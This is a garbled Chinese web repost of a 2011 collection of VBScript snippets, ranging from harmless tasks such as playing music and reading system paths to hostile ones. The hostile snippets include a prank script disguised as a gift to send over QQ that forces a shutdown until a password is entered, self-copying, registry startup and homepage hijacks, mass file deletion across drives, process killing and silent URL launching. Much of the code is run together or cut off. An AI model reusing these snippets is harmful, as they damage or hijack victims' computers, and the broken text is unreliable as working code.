当前位置:文档之家› VBS脚本常用代码大全2011整理

VBS脚本常用代码大全2011整理

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码,收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案",”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的,然后我们用"strWinDir" 调用这个变量。

SetWshShell=WScript.CreateObject("WScript.Shell")strWinDir=WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:\Program Files 路径SetWshShell=WScript.CreateObject("WScript.Shell")strPorDir=WshShell.ExpandEnvironmentStrings("%ProgramFiles%")VBS获取C:'Program Files'Com mon Files 路径SetWshShell=WScript.CreateObject("WScript.Shell")strCommDir=WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%") 给桌面添加网址快捷方式SetWshShell=WScript.CreateObject("Wscript.Shell")strDesktop=WshShell.SpecialFolders("Desktop")百度.In k")oShellL in k.TargetPath二"http:oShellLink.Description二百度主页”给收藏夹添加网址ConstADMINISTRATIVE_TOOLS=6SetobjShell=CreateObject("Shell.Application")SetobjFolder=space(ADMINISTRATIVE_TOOLS)SetobjFolderItem=objFolder.SelfSetobjShell=WScript.CreateObject("WScript.Shell")strDesktopFld=objFolderItem.Path百度.url")objURLShortcut.TargetPath二"http:objURLShortcut.Save 删除指定目录指定后缀文件OnErrorResumeNextSetfso=CreateObject("Scripting.FileSystemObject")fso.DeleteFile"C:\*.vbs",TrueSetfso=NothingVBS改主页SetoShell=CreateObject("WScript.Shell")Explorer\Main\StartPage","http:VBS加启动项SetoShell=CreateObject("Wscript.Shell") oShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"VBS 复制自己到 C 盘DimfsoSetfso=WScript.CreateObject("Scripting.Filesystemobject")fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)DimfsoSetfso=WScript.CreateObject("Scripting.Filesystemobject")fso.getfile("game.exe").copy("c:\cik.exe")VBS获取系统临时目录DimfsoSetfso=CreateObject("Scripting.FileSystemObject") DimtempfolderConstTemporaryFolder=2Settempfolder=fso.GetSpecialFolder(TemporaryFolder) Wscript.Echotempfolder就算代码出错依然继续执行OnErrorResumeNextVBS打开网址SetobjShell=CreateObject("Wscript.Shell")objShell.Run("http:VBS发送邮件NameSpace="http:SetEmail=CreateObject("CDO.Message")Email.Subject二'这里写标题”Email.Textbody二'这里写内容!"Email.AddAttachment"C:这是附件.txt"WithEmail.Configuration.Fields .Item(NameSpace&"sendusing")=2.Item(NameSpace&"smtpserverport")=25 .Item(NameSpace&"smtpauthenticate")=1 」tem(NameSpace&”sendusername”)二'发件人用户名” 」tem(NameSpace&”sendpassword”)二发件人密码” .UpdateEndWithEmail.SendVBS结束进程strComputer="."SetobjWMIService=GetObject_("winmgmts:\\"&strComputer&"\root\cimv2") SetcolProcessList=objWMIService.ExecQuery_("Select*fromWin32_ProcessWhereName='Rar.exe'")ForEachobjProcessincolProcessListobjProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)createObject("wscript.shell").run"starthttp:Setobjws=WScript.CreateObject("wscript.shell")objws.Run"""C:VBS遍历硬盘删除指定文件名OnErrorResumeNextDimfPathstrComputer="."SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIService.ExecQuery(" Select*fromWin32_ProcessWhereName='gangzi.exe'")ForEachobjProcessIncolProcessListobjProcess.Terminate()NextSetobjWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&strComputer&"\root\cimv2")SetcolDirs=objWMIService.ExecQuery("Select*fromWin32_Directorywherename LIKE'%c:%'ornameLIKE'%d:%'ornameLIKE'%e:%'ornameLIKE'%f:%'ornameLIKE'%g:%'ornameLIKE'%h:%'ornameLIKE'%i:%'")SetobjFSO=CreateObject("Scripting.FileSystemObject")ForEachobjDirIncolDirsfPath=&"\cik.exe"'如果文件名是cik.exe 就删除objFSO.DeleteFile(fPath),TrueVBS获取网卡MAC地址Dimmc,moSetmc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")ForEachmoInmcIfmo.IPEnabled=TrueThenMsgBox"本机网卡MAC地址是:"&mo.MacAddressExitForEndIfNextVBS获取本机注册表主页地址Setreg=WScript.CreateObject("WScript.Shell")MsgBoxstartpageVBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话OnErrorResumeNextSetfso=CreateObject("Scripting.FileSystemObject")Co二vbCrLf&路过。

相关主题